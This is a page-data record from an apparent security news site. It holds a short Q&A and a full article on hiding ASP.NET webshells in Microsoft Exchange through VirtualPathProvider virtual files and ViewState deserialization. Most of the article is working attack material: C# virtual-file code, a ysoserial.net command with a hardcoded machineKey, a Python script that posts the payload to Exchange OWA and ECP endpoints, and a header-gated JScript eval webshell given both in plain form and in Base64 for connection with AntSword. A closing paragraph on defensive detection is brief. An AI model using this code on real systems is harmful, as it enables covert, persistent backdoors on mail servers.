[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f0tuL23V-1nUsTJn_7bSPooFr8M2OgvfUVrjmMNA1qiw":3},{"id":4,"question":5,"answer":6,"answerHtml":7,"slug":8,"keywords":9,"article":10,"status":33,"aiModel":30,"aiConfidence":30,"updatedAt":50,"createdAt":50,"_status":49},799,"What are virtual files in ASP.NET and how can they be used to hide a webshell?","Virtual files in ASP.NET are created using the `VirtualPathProvider` class, which allows a file to be dynamically compiled and accessed even though it doesn't physically exist on the server's file system. By overriding the `FileExists` and `GetFile` methods, an attacker can serve malicious ASP.NET code on demand, effectively hiding the webshell's content. However, this method still depends on a physical file (e.g., `test1.aspx`) to trigger the virtual path, making it less stealthy on its own. For a deeper dive into the technique, see the original article on [Penetration Techniques - Hiding ASP.NET Webshells Using Virtual Files](\u002Fnews\u002Fpenetration-techniques-hiding-asp-net-webshells-using-virtual-files).","\u003Cp>Virtual files in ASP.NET are created using the `VirtualPathProvider` class, which allows a file to be dynamically compiled and accessed even though it doesn&#39;t physically exist on the server&#39;s file system. By overriding the `FileExists` and `GetFile` methods, an attacker can serve malicious ASP.NET code on demand, effectively hiding the webshell&#39;s content. However, this method still depends on a physical file (e.g., `test1.aspx`) to trigger the virtual path, making it less stealthy on its own. For a deeper dive into the technique, see the original article on [Penetration Techniques - Hiding ASP.NET Webshells Using Virtual Files](\u002Fnews\u002Fpenetration-techniques-hiding-asp-net-webshells-using-virtual-files).\u003C\u002Fp>\u003Cp>\u003Ca href=\"\u002Fnews\u002Fpenetration-techniques-hiding-asp-net-webshells-using-virtual-files\">Read the related One Day Sec article\u003C\u002Fa>\u003C\u002Fp>","what-are-virtual-files-in-aspnet-and-how-can-they-be-used-to-hide-a-webshell-1777481980997","virtual files, VirtualPathProvider, ASP.NET, webshell, stealth",{"id":11,"title":12,"slug":13,"description":14,"content":15,"contentHtml":27,"cover":30,"author":31,"views":19,"readingTime":32,"status":33,"publishedAt":34,"seo":35,"tags":39,"qaPairs":40,"meta":46,"updatedAt":47,"createdAt":48,"_status":49},197,"Penetration Techniques - Hiding ASP.NET Webshells Using Virtual Files","penetration-techniques-hiding-asp-net-webshells-using-virtual-files","Learn to hide ASP.NET webshells using VirtualPathProvider for virtual files, exploit Exchange vulnerabilities, and implement defensive detection strategies.",{"root":16},{"type":17,"format":18,"indent":19,"version":20,"children":21,"direction":29},"root","",0,1,[22],{"type":23,"format":18,"indent":19,"version":20,"children":24,"direction":29},"paragraph",[25],{"mode":26,"text":27,"type":28,"style":18,"detail":19,"format":19,"version":20},"normal","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Using ASP.NET's VirtualPathProvider class, virtual files can be created to achieve the following effect: the virtual file does not exist in the server's file system but can be dynamically compiled and accessed. ysoserial.net's GhostWebShell.cs provides an exploitable approach for learning purposes.\u003C\u002Fp>\u003Cp>This article will introduce the exploitation methods of virtual files, building on ysoserial.net's GhostWebShell.cs to discuss exploitation techniques in Exchange environments, including open-source code, detailed records, and defensive recommendations.\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following topics:\u003C\u002Fp>\u003Cul>\u003Cli>Exploitation of VirtualPathProvider in Exchange\u003C\u002Fli>\u003Cli>Exploitation of DotNet Deserialization in Exchange\u003C\u002Fli>\u003Cli>Defensive Detection\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Exploitation of VirtualPathProvider in Exchange\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>References:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fdotnet\u002Fapi\u002Fsystem.web.hosting.virtualpathprovider?view=netframework-4.8\u003C\u002Fp>\u003Cp>In implementation, it is necessary to inherit the VirtualPathProvider class and override two methods: FileExists and GetFile. After registering the VirtualPathProvider and creating an instance, implement the creation of virtual files.\u003C\u002Fp>\u003Cp>Example code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>&lt;%@ Page Language=\"C#\" AutoEventWireup=\"true\" validateRequest=\"false\" EnableViewStateMac=\"false\" %&gt;\u003Cbr>&lt;%@ Import Namespace=\"System.Web.Hosting\" %&gt;\u003Cbr>&lt;%@ Import Namespace=\"System.Web.Compilation\" %&gt;\u003Cbr>&lt;%@ Import Namespace=\"System.IO\" %&gt;\u003Cbr>&lt;%@ Import Namespace=\"System.Reflection\" %&gt;\u003Cbr>&lt;%@ Import Namespace=\"System.Security.Cryptography\" %&gt;\u003Cbr>\u003Cscript runat=\"server\">\u003Cbr>\u003Cbr>    public class DeferredPathProvider : VirtualPathProvider\u003Cbr>    {\u003Cbr>        public DeferredPathProvider() : base()\u003Cbr>        {\u003Cbr>        }\u003Cbr>\u003Cbr>        public bool IsTargetVirtualPath(string virtualPath)\u003Cbr>        {\u003Cbr>            string path = VirtualPathUtility.ToAppRelative(virtualPath);\u003Cbr>            return path.StartsWith(\"~\u002Fdeferred\", StringComparison.InvariantCultureIgnoreCase);\u003Cbr>        }\u003Cbr>\u003Cbr>        public override VirtualFile GetFile(string virtualPath)\u003Cbr>        {\u003Cbr>            if (IsTargetVirtualPath(virtualPath))\u003Cbr>            {\u003Cbr>                return new DeferredVirtualFile(this, virtualPath);\u003Cbr>            }\u003Cbr>            else\u003Cbr>            {\u003Cbr>                return Previous.GetFile(virtualPath);\u003Cbr>            }\u003Cbr>        }\u003Cbr>\u003Cbr>        public override bool FileExists(string virtualPath)\u003Cbr>        {\u003Cbr>            return IsTargetVirtualPath(virtualPath) ? true : Previous.FileExists(virtualPath);\u003Cbr>        }\u003Cbr>    }\u003Cbr>\u003Cbr>    public class DeferredVirtualFile : VirtualFile\u003Cbr>    {\u003Cbr>        DeferredPathProvider provider = null;\u003Cbr>\u003Cbr>        public DeferredVirtualFile(DeferredPathProvider provider, string virtualFile) : base(virtualFile)\u003Cbr>        {\u003Cbr>            this.provider = provider;\u003Cbr>        }\u003Cbr>\u003Cbr>        public override Stream Open()\u003Cbr>        {\u003Cbr>        Stream stream = new MemoryStream();\u003Cbr>\u003Cbr>        StreamWriter writer = new StreamWriter(stream);\u003Cbr>        writer.Write(\"\u003C%@ Page Language=\\\"C#\\\" AutoEventWireup=\\\"true\\\" %>\\r\\n\" +\u003Cbr>            \"\u003C% Response.Write(\\\"Compiled on the fly :)\\\"); %>\");\u003Cbr>        writer.Flush();\u003Cbr>        stream.Seek(0, SeekOrigin.Begin);\u003Cbr>\u003Cbr>        return stream;\u003Cbr>        }\u003Cbr>    }\u003Cbr>\u003Cbr>    private Page handler = null;\u003Cbr>    public void Page_Load()\u003Cbr>    {\u003Cbr>        DeferredPathProvider provider = new DeferredPathProvider();\u003Cbr>        typeof(HostingEnvironment).GetMethod(\"RegisterVirtualPathProviderInternal\",\u003Cbr>        BindingFlags.Static | BindingFlags.InvokeMethod | BindingFlags.NonPublic)\u003Cbr>        .Invoke(null, new object[] { provider });\u003Cbr>        \u003Cbr>        handler = (Page) BuildManager.CreateInstanceFromVirtualPath(\"~\u002Fdeferred.aspx\", typeof(Page));\u003Cbr>        handler.ProcessRequest(HttpContext.Current);\u003Cbr>    }\u003Cbr>\u003Cbr>    protected override void Render(HtmlTextWriter writer)\u003Cbr>    {\u003Cbr>    }\u003Cbr>\u003C\u002Fscript>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Code from https:\u002F\u002Fkernel32.org\u002Fposts\u002Fevading-anti-virus-by-using-dynamic-code-generation-and-reflection\u002F\u003C\u002Fp>\u003Cp>Tested on Exchange as follows:\u003C\u002Fp>\u003Cp>Save location: %ExchangeInstallPath%\\FrontEnd\\HttpProxy\\owa\\auth\\test1.aspx\u003C\u002Fp>\u003Cp>Access URL: https:\u002F\u002F\u003Curl>\u002Fowa\u002Fauth\u002Ftest1.aspx\u002Fdeferred.aspx, returns: Compiled on the fly :), virtual file successfully accessed\u003C\u002Furl>\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Accessible path for virtual file: https:\u002F\u002F\u003Curl>\u002Fowa\u002Fauth\u002Ftest1.aspx\u002F\u003Cany characters=\"\">\u003C\u002Fany>\u003C\u002Furl>\u003C\u002Fp>\u003Cp>When creating virtual files, compilation files are generated in the temporary directory, default location: C:\\Windows\\Microsoft.NET\\Framework64|Framework\\\u003Cversion>\\Temporary ASP.NET Files\\owa\\\u003Chash1>\\\u003Chash2>\\\u003C\u002Fhash2>\u003C\u002Fhash1>\u003C\u002Fversion>\u003C\u002Fp>\u003Cp>File name: test1.aspx.\u003Chash3>.compiled\u003C\u002Fhash3>\u003C\u002Fp>\u003Cp>If the original file test1.aspx is deleted, the virtual file will also become invalid and inaccessible.\u003C\u002Fp>\u003Cp>Although this method of implementing a Webshell can hide the real file content, it relies on the file, making it easy to remove and lacking sufficient stealth.\u003C\u002Fp>\u003Cp>Using ysoserial.net's GhostWebShell.cs precisely solves this problem and improves stealth.\u003C\u002Fp>\u003Ch2>0x03 Exploitation of DotNet Deserialization\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Reference code:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fgithub.com\u002Fpwntester\u002Fysoserial.net\u002Fblob\u002Fmaster\u002FExploitClass\u002FGhostWebShell.cs\u003C\u002Fp>\u003Cp>Test environment:\u003C\u002Fp>\u003Cp>Obtained Exchange file read\u002Fwrite permissions, enabling modification of %ExchangeInstallPath%\\FrontEnd\\HttpProxy\\owa\\web.config and %ExchangeInstallPath%\\FrontEnd\\HttpProxy\\ecp\\web.config, setting the machineKey content as follows:\u003C\u002Fp>\u003Cp>\u003Cmachinekey validationkey=\"CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF\" decryptionkey=\"E9D2490BD0075B51D1BA5288514514AF\" validation=\"SHA1\" decryption=\"3DES\">\u003C\u002Fmachinekey>\u003C\u002Fp>\u003Cp>For .Net deserialization command execution at these two locations, valid user credentials are no longer required.\u003C\u002Fp>\u003Cp>Here, %ExchangeInstallPath%\\FrontEnd\\HttpProxy\\owa\\auth\\errorFE.aspx is selected, with the corresponding generator being 042A94E8.\u003C\u002Fp>\u003Cp>The parameters for generating ViewState using ysoserial.net are as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -f LosFormatter -c \"ghostfile.cs;System.Web.dll;System.dll;\" --validationalg=\"SHA1\" --validationkey=\"CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF\" --generator=\"042A94E8\"\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Send ViewState using the following code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp># encoding: UTF-8\u003Cbr>import requests\u003Cbr>import re\u003Cbr>import sys\u003Cbr>import os\u003Cbr>import json\u003Cbr>import urllib3\u003Cbr>urllib3.disable_warnings()\u003Cbr>\u003Cbr>from urllib.parse import quote\u003Cbr>import urllib.parse\u003Cbr>\u003Cbr>if __name__ == '__main__':\u003Cbr>    if len(sys.argv)!=4:\u003Cbr>        note = '''\u003Cbr>Usage:\u003Cbr>    \u003Curl> \u003Ckey> \u003Cpath>\u003Cbr>\u003Cpath>: owa or ecp\u003Cbr>\u003Cbr>eg.    \u003Cbr>    {0} 192.168.1.1 CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF owa\u003Cbr>    {1} mail.test.com CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF ecp    \u003Cbr>        '''\u003Cbr>        print(note.format(sys.argv[0],sys.argv[0]))\u003Cbr>        sys.exit(0)\u003Cbr>    else:\u003Cbr>        targeturl = \"\";\u003Cbr>        generator = \"\"; \u003Cbr>        try:\u003Cbr>            if sys.argv[3] == \"owa\":\u003Cbr>                targeturl = \"https:\u002F\u002F\" + sys.argv[1] + \"\u002Fowa\u002Fauth\u002FerrorFE.aspx\";\u003Cbr>                generator = \"042A94E8\";\u003Cbr>\u003Cbr>            elif sys.argv[3] == \"ecp\":\u003Cbr>                targeturl = \"https:\u002F\u002F\" + sys.argv[1] + \"\u002Fecp\u002Fauth\u002FTimeoutLogout.aspx\";\u003Cbr>                generator = \"277B1C2A\";\u003Cbr>            else:\u003Cbr>                print(\"[!] Wrong input\");\u003Cbr>\u003Cbr>            print(\"[*] TargetURL: \" + targeturl)\u003Cbr>\u003Cbr>            out_payload = \"\u003Cviewstate data=\"\">\"\u003Cbr>\u003Cbr>            body = {\"__VIEWSTATEGENERATOR\": generator,\"__VIEWSTATE\": out_payload}\u003Cbr>            postData = urllib.parse.urlencode(body).encode(\"utf-8\")\u003Cbr>\u003Cbr>            headers = {\u003Cbr>                \"User-Agent\": \"Mozilla\u002F5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\u002F537.36 (KHTML, like Gecko) Chrome\u002F81.0.4044.129 Safari\u002F537.36xxxxx\",\u003Cbr>                \"Content-Type\":\"application\u002Fx-www-form-urlencoded\"\u003Cbr>            } \u003Cbr>            status = requests.post(url=targeturl, headers=headers, data=postData, verify=False, timeout=15)\u003Cbr>\u003Cbr>            print(status.status_code)\u003Cbr>            print(status.headers)\u003Cbr>            print(status.text)\u003Cbr>\u003Cbr>        except Exception as e:\u003Cbr>            print(\"[!] Error:%s\"%(e))\u003Cbr>            exit(0)\u003C\u002Fviewstate>\u003C\u002Fpath>\u003C\u002Fpath>\u003C\u002Fkey>\u003C\u002Furl>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Access https:\u002F\u002F\u003Curl>\u002Fowa\u002Fauth\u002Ffakepath31337\u002F\u003Cany character=\"\">.aspx, returns: This is the attacker's file - running on the server if this 1337 is 1337., virtual file successfully accessed\u003C\u002Fany>\u003C\u002Furl>\u003C\u002Fp>\u003Cp>This method does not rely on files, improving stealth\u003C\u002Fp>\u003Cp>Next, modify GhostWebShell.cs to implement webshell functionality\u003C\u002Fp>\u003Cp>Set virtual directory as root directory, example access URL: https:\u002F\u002F\u003Curl>\u002Fowa\u002Fauth\u002F\u003Cany character=\"\">.aspx\u003C\u002Fany>\u003C\u002Furl>\u003C\u002Fp>\u003Cp>To avoid accidental access, add access conditions with Header validation, redirect to error page errorFE.aspx if conditions not met\u003C\u002Fp>\u003Cp>One-line test code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>&lt;%@ Page Language=\"Jscript\"%&gt;&lt;%\u003Cbr>if(Request.Headers[\"Value\"]==\"00HGAT3K0AXHV2RF2W0G\")\u003Cbr>{\u003Cbr>eval(Request.Item[\"antsword\"],\"unsafe\");\t\u003Cbr>}\u003Cbr>else\u003Cbr>{\u003Cbr>Response.Redirect(\"\u002Fowa\u002Fauth\u002FerrorFE.aspx?httpCode=404\");\u003Cbr>}\u003Cbr>%&gt;\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>When connecting with AntSword, you need to set the HTTP HEADERS as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Name: Value\u003Cbr>Value: 00HGAT3K0AXHV2RF2W0G\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The Base64-encoded string is: PCVAIFBhZ2UgTGFuZ3VhZ2U9IkpzY3JpcHQiJT48JQppZihSZXF1ZXN0LkhlYWRlcnNbIlZhbHVlIl09PSIwMEhHQVQzSzBBWEhWMlJGMlcwRyIpCnsKZXZhbChSZXF1ZXN0Lkl0ZW1bImFudHN3b3JkIl0sInVuc2FmZSIpOwkKfQplbHNlCnsKUmVzcG9uc2UuUmVkaXJlY3QoIi9vd2EvYXV0aC9lcnJvckZFLmFzcHg\u002FaHR0cENvZGU9NDA0Iik7Cn0KJT4=\u003C\u002Fp>\u003Cp>Replace the webshellContentsBase64 in GhostWebShell.cs\u003C\u002Fp>\u003Cp>The complete Python implementation code has been uploaded to GitHub at the following address:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>The code supports deserialization execution at two locations: the default existing files %ExchangeInstallPath%\\FrontEnd\\HttpProxy\\owa\\auth\\errorFE.aspx and %ExchangeInstallPath%\\FrontEnd\\HttpProxy\\ecp\\auth\\TimeoutLogout.aspx. It can automatically generate GhostWebShell.cs with webshell functionality, using ysoserial.net to generate ViewState and send it.\u003C\u002Fp>\u003Cp>The complete C# implementation code has been uploaded to GitHub at the following address:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>The code functionality is the same as above, can be directly compiled and executed, no longer dependent on ysoserial.net\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>To facilitate testing under Exchange, I modified GhostWebShell.cs into an aspx file, which can be directly accessed for testing. The code address is as follows:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Ch2>0x04 Defense Detection\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>ASP.NET Webshell created using virtual files, no longer requires writing aspx files. For defense, monitor compilation files generated in the temporary directory, default location: C:\\Windows\\Microsoft.NET\\Framework64|Framework\\\u003Cversion>\\Temporary ASP.NET Files\\owa\\\u003Chash1>\\\u003Chash2>\\\u003C\u002Fhash2>\u003C\u002Fhash1>\u003C\u002Fversion>\u003C\u002Fp>\u003Cp>It should be noted that attackers can delete the compilation files after generating them\u003C\u002Fp>\u003Ch2>0x05 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article introduces the exploitation methods of virtual files, targeting the Exchange environment, covering the use of VirtualPathProvider and DotNet deserialization, and provides defense recommendations.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>","text","ltr",null,"Onedaysec",5,"published","2026-02-02T07:38:21.199Z",{"title":36,"description":14,"keywords":37,"ogImage":30,"canonicalUrl":30,"noIndex":38},"Hiding ASP.NET Webshells with Virtual Files & Exchange Exploitation","ASP.NET webshell, VirtualPathProvider, Exchange exploitation, DotNet deserialization, penetration techniques, defensive detection",false,[],{"docs":41,"hasNextPage":38},[42,43,44,45,4],803,802,801,800,{"title":30,"description":30,"image":30},"2026-07-24T02:07:18.801Z","2026-07-23T16:02:07.177Z","draft","2026-07-23T16:14:48.821Z"]